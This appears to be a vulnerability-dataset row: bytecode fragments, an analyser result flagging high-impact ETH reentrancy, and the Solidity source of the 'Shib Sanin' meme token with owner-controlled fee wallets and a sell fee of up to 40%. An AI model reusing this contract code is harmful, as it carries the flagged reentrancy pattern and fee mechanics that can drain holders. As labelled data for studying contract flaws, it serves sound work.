561162a57505060065492678ac7230489e8000092509050565b90939092509050565b600081836116545760405162461bcd60e51b81526004016105f291906119f1565b5060006111eb8486611d3c565b600080600080600080600080600061167e8a600c54600d546117cd565b925092509250600061168e611469565b905060008060006116a18e878787611822565b919e509c509a509598509396509194505050505091939550919395565b60006112ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ba565b60008061170d8385611c7f565b9050838110156112ab5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f2565b6000611769611469565b905060006117778383611872565b306000908152600260205260409020549091506117949082611700565b30600090815260026020526040902055505050565b6006546117b690836116be565b6006556007546117c69082611700565b6007555050565b60008080806117e760646117e18989611872565b9061148c565b905060006117fa60646117e18a89611872565b905060006118128261180c8b866116be565b906116be565b9992985090965090945050505050565b60008080806118318886611872565b9050600061183f8887611872565b9050600061184d8888611872565b9050600061185f8261180c86866116be565b939b939a50919850919650505050505050565b60008261188157506000610678565b600061188d8385611d5e565b90508261189a8583611d3c565b146112ab5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f2565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c257600080fd5b803561192781611907565b919050565b6000602080838503121561193f57600080fd5b823567ffffffffffffffff8082111561195757600080fd5b818501915085601f83011261196b57600080fd5b81358181111561197d5761197d6118f1565b8060051b604051601f19603f830116810181811085821117156119a2576119a26118f1565b6040529182528482019250838101850191888311156119c057600080fd5b938501935b828510156119e5576119d68561191c565b845293850193928501926119c5565b98975050505050505050565b600060208083528351808285015260005b81811015611a1e57858101830151858201604001528201611a02565b81811115611a30576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5957600080fd5b8235611a6481611907565b946020939093013593505050565b600080600060608486031215611a8757600080fd5b8335611a9281611907565b92506020840135611aa281611907565b929592945050506040919091013590565b600060208284031215611ac557600080fd5b81356112ab81611907565b8035801515811461192757600080fd5b600060208284031215611af257600080fd5b6112ab82611ad0565b600060208284031215611b0d57600080fd5b5035919050565b60008060008060808587031215611b2a57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5b57600080fd5b833567ffffffffffffffff80821115611b7357600080fd5b818601915086601f830112611b8757600080fd5b813581811115611b9657600080fd5b8760208260051b8501011115611bab57600080fd5b602092830195509350611bc19186019050611ad0565b90509250925092565b60008060408385031215611bdd57600080fd5b8235611be881611907565b91506020830135611bf881611907565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7857611c78611c4e565b5060010190565b60008219821115611c9257611c92611c4e565b500190565b600082821015611ca957611ca9611c4e565b500390565b600060208284031215611cc057600080fd5b81516112ab81611907565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1b5784516001600160a01b031683529383019391830191600101611cf6565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7857611d78611c4e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207b70adbc4d6058ca0af434cb57317f53095edf01e4e6c9c6565e291c5fd853c764736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 2,660 |
0x3931550097947d01e127b903f2e3c3f4887cbeb5
|
/**
*Submitted for verification at Etherscan.io on 2022-04-16
*/
/*
* Shibsanin
*
* https://t.me/ShibSanin
*
* Stealth Launch
*
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Shibsanin is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Shib Sanin";
string private constant _symbol = unicode"SHIBSANIN";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 4;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
address private deployer;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
deployer = _msgSender();
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(6)).div(10);
_teamFee = (_impactFee.mul(4)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 6;
_teamFee = 4;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 20000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public {
require(_msgSender() == deployer);
tradingOpen = true;
buyLimitEnd = block.timestamp + (300 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external onlyOwner() {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610376578063c3c8cd8014610396578063c9567bf9146103ab578063db92dbb6146103c0578063dd62ed3e146103d5578063e8078d941461041b57600080fd5b8063715018a6146102c85780638da5cb5b146102dd57806395d89b4114610305578063a9059cbb14610337578063a985ceef1461035757600080fd5b8063313ce567116100fd578063313ce5671461021557806345596e2e146102315780635932ead11461025357806368a3a6a5146102735780636fc3eaec1461029357806370a08231146102a857600080fd5b806306fdde0314610145578063095ea7b31461018a57806318160ddd146101ba57806323b872dd146101e057806327f3a72a1461020057600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600a81526929b434b11029b0b734b760b11b60208201525b6040516101819190611a9e565b60405180910390f35b34801561019657600080fd5b506101aa6101a5366004611b08565b610430565b6040519015158152602001610181565b3480156101c657600080fd5b50683635c9adc5dea000005b604051908152602001610181565b3480156101ec57600080fd5b506101aa6101fb366004611b34565b610447565b34801561020c57600080fd5b506101d26104b0565b34801561022157600080fd5b5060405160098152602001610181565b34801561023d57600080fd5b5061025161024c366004611b75565b6104c0565b005b34801561025f57600080fd5b5061025161026e366004611b9c565b610597565b34801561027f57600080fd5b506101d261028e366004611bb9565b610616565b34801561029f57600080fd5b50610251610639565b3480156102b457600080fd5b506101d26102c3366004611bb9565b610666565b3480156102d457600080fd5b50610251610688565b3480156102e957600080fd5b506000546040516001600160a01b039091168152602001610181565b34801561031157600080fd5b5060408051808201909152600981526829a424a129a0a724a760b91b6020820152610174565b34801561034357600080fd5b506101aa610352366004611b08565b6106fc565b34801561036357600080fd5b50601454600160a81b900460ff166101aa565b34801561038257600080fd5b506101d2610391366004611bb9565b610709565b3480156103a257600080fd5b5061025161072f565b3480156103b757600080fd5b50610251610765565b3480156103cc57600080fd5b506101d26107a9565b3480156103e157600080fd5b506101d26103f0366004611bd6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042757600080fd5b506102516107c1565b600061043d338484610b75565b5060015b92915050565b6000610454848484610c99565b6104a684336104a185604051806060016040528060288152602001611df1602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061123c565b610b75565b5060019392505050565b60006104bb30610666565b905090565b6000546001600160a01b031633146104f35760405162461bcd60e51b81526004016104ea90611c0f565b60405180910390fd5b6011546001600160a01b0316336001600160a01b03161461051357600080fd5b6033811061055b5760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064016104ea565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146105c15760405162461bcd60e51b81526004016104ea90611c0f565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200161058c565b6001600160a01b0381166000908152600660205260408120546104419042611c5a565b6011546001600160a01b0316336001600160a01b03161461065957600080fd5b4761066381611276565b50565b6001600160a01b038116600090815260026020526040812054610441906112fb565b6000546001600160a01b031633146106b25760405162461bcd60e51b81526004016104ea90611c0f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061043d338484610c99565b6001600160a01b0381166000908152600660205260408120600101546104419042611c5a565b6011546001600160a01b0316336001600160a01b03161461074f57600080fd5b600061075a30610666565b90506106638161137f565b6016546001600160a01b0316336001600160a01b03161461078557600080fd5b6014805460ff60a01b1916600160a01b1790556107a44261012c611c71565b601555565b6014546000906104bb906001600160a01b0316610666565b6000546001600160a01b031633146107eb5760405162461bcd60e51b81526004016104ea90611c0f565b601454600160a01b900460ff16156108455760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104ea565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108823082683635c9adc5dea00000610b75565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108bb57600080fd5b505afa1580156108cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f39190611c89565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561093b57600080fd5b505afa15801561094f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109739190611c89565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109bb57600080fd5b505af11580156109cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f39190611c89565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610a2381610666565b600080610a386000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a9b57600080fd5b505af1158015610aaf573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ad49190611ca6565b50506801158e460913d000006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b3957600080fd5b505af1158015610b4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b719190611cd4565b5050565b6001600160a01b038316610bd75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ea565b6001600160a01b038216610c385760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ea565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ea565b6001600160a01b038216610d5f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ea565b60008111610dc15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ea565b6000546001600160a01b03848116911614801590610ded57506000546001600160a01b03838116911614155b156111df57601454600160a81b900460ff1615610e6d573360009081526006602052604090206002015460ff16610e6d57604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e9857506013546001600160a01b03838116911614155b8015610ebd57506001600160a01b03821660009081526005602052604090205460ff16155b1561102157601454600160a01b900460ff16610f1b5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016104ea565b60066009556004600a55601454600160a81b900460ff1615610fe757426015541115610fe757601054811115610f5057600080fd5b6001600160a01b0382166000908152600660205260409020544211610fc25760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016104ea565b610fcd42602d611c71565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff16156110215761100442600f611c71565b6001600160a01b0383166000908152600660205260409020600101555b600061102c30610666565b601454909150600160b01b900460ff1615801561105757506014546001600160a01b03858116911614155b801561106c5750601454600160a01b900460ff165b156111dd57601454600160a81b900460ff16156110f9576001600160a01b03841660009081526006602052604090206001015442116110f95760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016104ea565b601454600160b81b900460ff161561115e576000611122600c548461150890919063ffffffff16565b6014549091506111519061114a908590611144906001600160a01b0316610666565b90611587565b82906115e6565b905061115c81611628565b505b80156111cb57600b546014546111949160649161118e9190611188906001600160a01b0316610666565b90611508565b906115e6565b8111156111c257600b546014546111bf9160649161118e9190611188906001600160a01b0316610666565b90505b6111cb8161137f565b4780156111db576111db47611276565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061122157506001600160a01b03831660009081526005602052604090205460ff165b1561122a575060005b61123684848484611696565b50505050565b600081848411156112605760405162461bcd60e51b81526004016104ea9190611a9e565b50600061126d8486611c5a565b95945050505050565b6011546001600160a01b03166108fc6112908360026115e6565b6040518115909202916000818181858888f193505050501580156112b8573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112d38360026115e6565b6040518115909202916000818181858888f19350505050158015610b71573d6000803e3d6000fd5b60006007548211156113625760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104ea565b600061136c6116c4565b905061137883826115e6565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113c7576113c7611cf1565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561141b57600080fd5b505afa15801561142f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114539190611c89565b8160018151811061146657611466611cf1565b6001600160a01b03928316602091820292909201015260135461148c9130911684610b75565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114c5908590600090869030904290600401611d07565b600060405180830381600087803b1580156114df57600080fd5b505af11580156114f3573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b60008261151757506000610441565b60006115238385611d78565b9050826115308583611dad565b146113785760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ea565b6000806115948385611c71565b9050838110156113785760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ea565b600061137883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e7565b600a8082101561163a5750600a61164e565b602882111561164b5750602861164e565b50805b611659816002611715565b1561166c578061166881611dc1565b9150505b61167c600a61118e836006611508565b60095561168f600a61118e836004611508565b600a555050565b806116a3576116a3611757565b6116ae848484611785565b8061123657611236600e54600955600f54600a55565b60008060006116d161187c565b90925090506116e082826115e6565b9250505090565b600081836117085760405162461bcd60e51b81526004016104ea9190611a9e565b50600061126d8486611dad565b600061137883836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118be565b6009541580156117675750600a54155b1561176e57565b60098054600e55600a8054600f5560009182905555565b600080600080600080611797876118f2565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117c9908761194f565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117f89086611587565b6001600160a01b03891660009081526002602052604090205561181a81611991565b61182484836119db565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161186991815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061189882826115e6565b8210156118b557505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118df5760405162461bcd60e51b81526004016104ea9190611a9e565b506118ea8385611ddc565b949350505050565b600080600080600080600080600061190f8a600954600a546119ff565b925092509250600061191f6116c4565b905060008060006119328e878787611a4e565b919e509c509a509598509396509194505050505091939550919395565b600061137883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061123c565b600061199b6116c4565b905060006119a98383611508565b306000908152600260205260409020549091506119c69082611587565b30600090815260026020526040902055505050565b6007546119e8908361194f565b6007556008546119f89082611587565b6008555050565b6000808080611a13606461118e8989611508565b90506000611a26606461118e8a89611508565b90506000611a3e82611a388b8661194f565b9061194f565b9992985090965090945050505050565b6000808080611a5d8886611508565b90506000611a6b8887611508565b90506000611a798888611508565b90506000611a8b82611a38868661194f565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611acb57858101830151858201604001528201611aaf565b81811115611add576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461066357600080fd5b60008060408385031215611b1b57600080fd5b8235611b2681611af3565b946020939093013593505050565b600080600060608486031215611b4957600080fd5b8335611b5481611af3565b92506020840135611b6481611af3565b929592945050506040919091013590565b600060208284031215611b8757600080fd5b5035919050565b801515811461066357600080fd5b600060208284031215611bae57600080fd5b813561137881611b8e565b600060208284031215611bcb57600080fd5b813561137881611af3565b60008060408385031215611be957600080fd5b8235611bf481611af3565b91506020830135611c0481611af3565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611c6c57611c6c611c44565b500390565b60008219821115611c8457611c84611c44565b500190565b600060208284031215611c9b57600080fd5b815161137881611af3565b600080600060608486031215611cbb57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611ce657600080fd5b815161137881611b8e565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d575784516001600160a01b031683529383019391830191600101611d32565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611d9257611d92611c44565b500290565b634e487b7160e01b600052601260045260246000fd5b600082611dbc57611dbc611d97565b500490565b6000600019821415611dd557611dd5611c44565b5060010190565b600082611deb57611deb611d97565b50069056fe45524332303a207472616e7366657220616d6f756e7420